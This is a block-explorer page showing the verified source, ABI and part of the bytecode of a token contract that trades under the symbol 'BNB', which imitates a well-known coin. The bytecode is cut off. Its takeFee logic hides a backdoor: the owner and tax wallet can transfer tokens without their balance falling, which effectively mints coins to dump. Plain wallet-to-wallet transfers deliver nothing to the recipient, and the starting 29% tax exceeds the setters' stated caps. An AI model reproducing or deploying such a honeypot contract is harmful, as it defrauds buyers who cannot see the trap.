ETH Price: $3,313.46 (-1.42%)
 

Overview

Max Total Supply

1,000,000,000 BNB

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,489,678.417032135 BNB

Value
$0.00
0x2a9a37b450Dbde664175836d20CE1d1Ec53D3975
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BNB

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-16
*/

// SPDX-License-Identifier: Unlicensed

/**
Website: https://cxefbs69i.fun
Twitter: https://twitter.com/CXEFBS69I
Telegram: https://t.me/CXEFBS69I
*/

pragma solidity 0.8.19;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BNB is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name ="ChangPengXAIElonFightBidenSuck69Inu";
    string private _symbol = "BNB";
    uint8 private _decimals = 9;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public checkExcludedFromFees;
    mapping (address => bool) public checkWalletLimitExcept;
    mapping (address => bool) public checkTxLimitExcept;
    mapping (address => bool) public checkMarketPair;

    uint256 public _buyLiquidityFees = 0;
    uint256 public _buyMarketingFees = 25;
    uint256 public _buyDevelopmentFees = 0;
    uint256 public _sellLiquidityFees = 0;
    uint256 public _sellMarketingFees = 29;
    uint256 public _sellDevelopmentFees = 0;

    uint256 public _liquidityShares = 0;
    uint256 public _marketingShares = 10;
    uint256 public _developmentShares = 0;

    uint256 public _totalTaxIfBuying = 29;
    uint256 public _totalTaxIfSelling = 29;
    uint256 public _totalDistributionShares = 10;

    uint256 private _totalSupply = 1000_000_000 * 10**9;
    uint256 public _maxTxAmount = _totalSupply;
    uint256 public _walletMax = _totalSupply*2/100;
    uint256 private minimumTokensBeforeSwap = _totalSupply/10000; 

    address payable private taxWallet;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        taxWallet = payable(0x76D5645921a3c964d232C7F5489A429Ef6d2dad0);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        checkExcludedFromFees[owner()] = true;
        checkExcludedFromFees[taxWallet] = true;

        checkWalletLimitExcept[owner()] = true;
        checkWalletLimitExcept[taxWallet] = true;
        checkWalletLimitExcept[address(uniswapPair)] = true;
        checkWalletLimitExcept[address(this)] = true;
        
        checkTxLimitExcept[owner()] = true;
        checkTxLimitExcept[taxWallet] = true;
        checkTxLimitExcept[address(this)] = true;

        checkMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addMarketPair(address account) public onlyOwner {
        checkMarketPair[account] = true;
    }

    function setcheckTxLimitExcept(address holder, bool exempt) external onlyOwner {
        checkTxLimitExcept[holder] = exempt;
    }
    
    function setcheckExcludedFromFees(address account, bool newValue) public onlyOwner {
        checkExcludedFromFees[account] = newValue;
    }

    function setBuyFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _buyLiquidityFees = newLiquidityTax;
        _buyMarketingFees = newMarketingTax;
        _buyDevelopmentFees = newDevelopmentTax;

        _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees).add(_buyDevelopmentFees);
        require (_totalTaxIfBuying <= 10);
    }

    function setSellFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _sellLiquidityFees = newLiquidityTax;
        _sellMarketingFees = newMarketingTax;
        _sellDevelopmentFees = newDevelopmentTax;

        _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees).add(_sellDevelopmentFees);
        require (_totalTaxIfSelling <= 20);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newDevelopmentShare) external onlyOwner() {
        _liquidityShares = newLiquidityShare;
        _marketingShares = newMarketingShare;
        _developmentShares = newDevelopmentShare;

        _totalDistributionShares = _liquidityShares.add(_marketingShares).add(_developmentShares);
    }
    
    function adjustMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= _totalSupply/100, "Max wallet should be more or equal to 1%");
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setcheckWalletLimitExcept(address holder, bool exempt) external onlyOwner {
        checkWalletLimitExcept[holder] = exempt;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function settaxWallet(address newAddress) external onlyOwner() {
        taxWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function manualSend() external {
        transferToAddressETH(taxWallet, address(this).balance);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !checkExcludedFromFees[sender] && checkMarketPair[recipient] && swapAndLiquifyEnabled && amount > minimumTokensBeforeSwap) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            (uint256 finalAmount, uint256 feeAmount) = takeFee(sender, recipient, amount);

            address feeReceiver = feeAmount == amount ? sender : address(this);
            if(feeAmount > 0) {
                _balances[feeReceiver] = _balances[feeReceiver].add(feeAmount);
                emit Transfer(sender, feeReceiver, feeAmount);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            if(checkWalletLimit && !checkWalletLimitExcept[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        swapTokensForEth(tAmount);
        uint256 amountETHMarketing = address(this).balance;
        transferToAddressETH(taxWallet, amountETHMarketing);

    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal view returns (uint256, uint256) {
        
        uint256 feeAmount = amount;

        if (checkExcludedFromFees[sender] && swapAndLiquifyEnabled) return (amount, feeAmount);

        if(checkMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(checkMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if (checkExcludedFromFees[sender]) {
            return (amount, 0);
        }

        return (amount.sub(feeAmount), feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_developmentShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDevelopmentFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"adjustMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkTxLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkWalletLimitExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newDevelopmentTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setcheckExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setcheckTxLimitExcept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setcheckWalletLimitExcept","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"settaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052602360a0818152906200285860c039600290620000239082620005af565b506040805180820190915260038082526221272160e91b6020830152906200004c9082620005af565b506004805460ff191660091790556000600b8190556019600c55600d819055600e819055601d600f81905560108290556011829055600a60128190556013929092556014819055601555601655670de0b6b3a764000060178190556018819055606490620000bc9060026200067b565b620000c89190620006a7565b601955612710601754620000dd9190620006a7565b601a5561dead608052601d805462ffffff60a81b1916600160b81b1790553480156200010857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601b80546001600160a01b0319167376d5645921a3c964d232c7f5489a429ef6d2dad01790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ea9190620006ca565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000238573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025e9190620006ca565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d29190620006ca565b601d80546001600160a01b039283166001600160a01b031991821617909155601c8054928416929091168217905560175430600090815260066020908152604080832094835293905291822055600190600790620003386000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601b5490911681526007909252812080549092166001908117909255600890620003986000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601b54821681526008909352818320805485166001908117909155601d5490911683528183208054851682179055308352908220805490931681179092556009906200041a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601b5482168152600984528281208054861660019081179091553082528382208054871682179055601d549092168152600a90935290822080549093161790915560175490600590620004983390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601754604051620004fb91815260200190565b60405180910390a350620006fc565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200053557607f821691505b6020821081036200055657634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005aa57600081815260208120601f850160051c81016020861015620005855750805b601f850160051c820191505b81811015620005a65782815560010162000591565b5050505b505050565b81516001600160401b03811115620005cb57620005cb6200050a565b620005e381620005dc845462000520565b846200055c565b602080601f8311600181146200061b5760008415620006025750858301515b600019600386901b1c1916600185901b178555620005a6565b600085815260208120601f198616915b828110156200064c578886015182559484019460019091019084016200062b565b50858210156200066b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082028115828204841417620006a157634e487b7160e01b600052601160045260246000fd5b92915050565b600082620006c557634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620006dd57600080fd5b81516001600160a01b0381168114620006f557600080fd5b9392505050565b6080516121396200071f600039600081816104ab0152610c8401526121396000f3fe6080604052600436106103395760003560e01c80637d1db4a5116101ab578063c2d4640e116100f7578063e207a92b11610095578063f2fde38b1161006f578063f2fde38b1461098e578063f4293890146109ae578063f872858a146109c3578063fabf7063146109e457600080fd5b8063e207a92b14610938578063f0cd1dac14610958578063f1d5f5171461096e57600080fd5b8063c816841b116100d1578063c816841b1461089b578063d76e26a3146108bb578063da00097d146108d1578063dd62ed3e146108f257600080fd5b8063c2d4640e1461082b578063c49b9a801461084b578063c78a789b1461086b57600080fd5b806395d89b4111610164578063a457c2d71161013e578063a457c2d7146107b5578063a5d69d1f146107d5578063a9059cbb146107f5578063b6c3af341461081557600080fd5b806395d89b41146107745780639e3fa32314610789578063a08e671f1461079f57600080fd5b80637d1db4a5146106df578063807c2d9c146106f557806382eefb431461070b5780638da5cb5b146107215780638f03aad51461073f578063914eb66a1461075f57600080fd5b80632f0a5fd411610285578063565cec3811610223578063661b6e36116101fd578063661b6e361461065d578063667b511c14610673578063705f9d741461069357806370a08231146106a957600080fd5b8063565cec381461061157806357e6adcb14610627578063646d47001461064757600080fd5b80633b97084a1161025f5780633b97084a146105705780634a74bb0214610590578063526012e8146105b157806355324fa9146105e157600080fd5b80632f0a5fd414610518578063313ce5671461052e578063395093511461055057600080fd5b806323b872dd116102f257806327c8f835116102cc57806327c8f835146104995780632b112e49146104cd5780632cdae5cb146104e25780632df671091461050257600080fd5b806323b872dd1461043957806325519cf2146104595780632563ae831461047957600080fd5b806304b